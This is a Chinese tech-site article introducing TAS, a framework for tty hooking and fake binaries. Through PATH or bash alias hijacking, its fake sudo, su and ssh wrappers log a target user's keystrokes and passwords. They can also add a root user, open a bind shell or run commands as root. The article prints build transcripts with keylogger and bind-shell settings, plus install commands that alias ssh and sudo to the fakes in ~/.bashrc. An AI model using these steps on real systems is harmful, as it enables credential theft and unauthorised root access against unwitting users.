溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

TAS中一款輕量級(jí)tty修改與代碼偽造框架的示例分析

發(fā)布時(shí)間:2021-11-19 17:19:42 來源:億速云 閱讀:122 作者:小新 欄目:網(wǎng)絡(luò)安全

這篇文章主要介紹TAS中一款輕量級(jí)tty修改與代碼偽造框架的示例分析,文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!

TAS是一款輕量級(jí)框架,在它的幫助下,研究人員可以輕松修改tty并創(chuàng)建偽造的代碼。

該框架擁有三個(gè)主要函數(shù),即tas_execv、tas_forkpty和tas_tty_loop:

1、tas_execv:這個(gè)函數(shù)的作用跟execv類似,但是它并不會(huì)重新執(zhí)行當(dāng)前代碼,這對(duì)于創(chuàng)建偽造代碼來說非常有用;

2、tas_forkpty:這個(gè)函數(shù)跟forkpty一樣,不過它會(huì)自動(dòng)填充自定義結(jié)構(gòu)體,檢查forkpty操作頁(yè)并獲取詳細(xì)信息;

3、tas_tty_loop:這個(gè)函數(shù)負(fù)責(zé)對(duì)tty進(jìn)行修改操作,我們可以針對(duì)輸入和輸出數(shù)據(jù)設(shè)置鉤子函數(shù),這樣就可以獲取到用戶輸入的擊鍵數(shù)據(jù)或修改終端輸出結(jié)果(leet-shell)。

如果你需要深入了解TAS的工作機(jī)制,可以通過查看本項(xiàng)目的“tas/fakebins/fun”目錄以獲取更多信息。

偽造代碼

通過修改PATH環(huán)境變量,或使用Bash的Aliases(或其他支持Aliases的Shell),你就可以直接運(yùn)行其他程序,而無需運(yùn)行用戶真正要運(yùn)行的那個(gè)程序。這樣一來,我們就可以捕捉到目標(biāo)用戶的鍵盤擊鍵數(shù)據(jù),并修改命令行來改變?cè)汲绦虻男袨椤?/p>

修改某些程序的命令行,例如sudo和su,將會(huì)幫助我們?cè)谀繕?biāo)設(shè)備上實(shí)現(xiàn)提權(quán)。

為了方便大家理解和使用TAS,我專門創(chuàng)建了三個(gè)示例程序來演示該框架的功能,即sudo、su和generic-keylogger。

generic-keylogger

generic-keylogger,正如其名字所示,它可以被當(dāng)作鍵盤記錄器來使用,而我們?cè)谶@里主要利用它來獲取類似ssh和mysql這類程序的密碼。

sudo/su

當(dāng)然了,它也可以被當(dāng)作鍵盤記錄器來使用,或者你也能夠以root權(quán)限來運(yùn)行某些功能模塊(通過修改命令行)。

Cmd修改步驟

首先,目標(biāo)用戶輸入并運(yùn)行下列命令:

sudo cmd

此時(shí),實(shí)際運(yùn)行的命令如下:

fakesudo cmd

其中,fakesudo將會(huì)執(zhí)行下列命令:

sudo fakesudo cmd

以root權(quán)限運(yùn)行上述命令之后,fakesudo將會(huì)創(chuàng)建一個(gè)子進(jìn)程來執(zhí)行其中的部分功能模塊,并且在進(jìn)程的主PID中,它會(huì)運(yùn)行原始命令。注意,如果用戶運(yùn)行的命令是sudo cmd [args]的話,fakesudo才會(huì)修改命令,如果添加了額外的命令運(yùn)行參數(shù),那么命令將無法被修改。

如果使用的是su,那么情況跟sudo的差不多。

首先,目標(biāo)用戶輸入并運(yùn)行下列命令:

Su -

此時(shí),實(shí)際運(yùn)行的命令如下:

fakesu -

其中,fakesudo將會(huì)執(zhí)行下列命令:

su - -c fakesu

以root權(quán)限運(yùn)行上述命令之后,fakesu將會(huì)創(chuàng)建一個(gè)子進(jìn)程來執(zhí)行其中的部分功能模塊,并且在進(jìn)程的主PID中,它會(huì)運(yùn)行bash -i命令。

注意:只有當(dāng)用戶運(yùn)行su或su -時(shí),fakesu才會(huì)修改命令,如果如果添加了額外的命令運(yùn)行參數(shù),那么命令將無法被修改。

功能模塊

目前,該工具只有下列三個(gè)功能模塊:

1、add-root-user:使用/etc/passwd中的密碼創(chuàng)建一個(gè)root用戶;

2、bind-shell:監(jiān)聽傳入的連接,并生成一個(gè)tty shell;

3、system:以root權(quán)限執(zhí)行命令;

項(xiàng)目下載

廣大研究人員可以使用下列命令將項(xiàng)目源碼克隆至本地:

git clone https://github.com/hc0d3r/tas.git

項(xiàng)目構(gòu)建

首先,我們需要構(gòu)建項(xiàng)目基庫(kù):

$ make
  CC .obj/globals.o
  CC .obj/getinode.o
  CC .obj/tas-execv.o
  CC .obj/tty.o
  CC .obj/xreadlink.o
  AR .obj/libtas.a

接下來,我們還需要運(yùn)行下列命令構(gòu)建sudo、su和generic-keylogger:

make [target-bin]

構(gòu)建樣例:

$ make su
make[1]: Entering directory '/home/test/tas/fakebins/su'[+] configuring fakesu ...enable keylogger? [y/N] y
number of lines to record [empty = store all]:
logfile (default: /tmp/.keys.txt):
use some FUN modules? [y/N] n
[+] configuration file created in /home/test/tas/fakebins/su/config.h
  CC su
make[1]: Leaving directory '/home/test/tas/fakebins/su'

工具使用樣例

創(chuàng)建一個(gè)fakessh

編譯:

$ make generic-keylogger
make[1]: Entering directory '/home/test/tas/fakebins/generic-keylogger'[+] configuring generic-keylogger ...
number of lines to record [empty = store all]: 3
logfile (default: /tmp/.keys.txt):
[+] configuration file created in /home/test/tas/fakebins/generic-keylogger/config.h
  CC generic-keylogger
make[1]: Leaving directory '/home/test/tas/fakebins/generic-keylogger'

安裝:

$ mkdir ~/.bin
$ cp generic-keylogger ~/.bin/ssh
$ echo "alias ssh='$HOME/.bin/ssh'" >> ~/.bashrc

演示:

使用bind-shell模塊

編譯:

make[1]: Entering directory '/home/test/tas/fakebins/sudo'[+] configuring fakesudo ...enable keylogger? [y/N] n
use some FUN modules? [y/N] y
[1] add-root-user
[2] bind-shell
[3] system
[4] cancel> 2
listen port (Default: 1337): 5992
[+] configuration file created in /home/test/tas/fakebins/sudo/config.h
  CC sudo
make[1]: Leaving directory '/home/test/tas/fakebins/sudo'

安裝:

$ cp sudo ~/.sudo
$ echo "alias sudo='$HOME/.sudo'" >> ~/.bashrc

演示:

TAS中一款輕量級(jí)tty修改與代碼偽造框架的示例分析

leet-shell

在leet-shell這個(gè)使用樣例中,你可以修改tty輸出,它將允許你使用bash(類似1337 h5x0r):

[test@alfheim tas]$ make fun/leet-shell
  CC fun/leet-shell
[t3st@alfheim tas]$ fun/leet-shell
SP4WN1NG L33T SH3LL H3R3 !!![t3st@4lfh41m t4s]$ 3ch0 'l33t sh4ll 1s l33t !!!'l33t sh4ll 1s l33t !!!

以上是“TAS中一款輕量級(jí)tty修改與代碼偽造框架的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對(duì)大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

tas
AI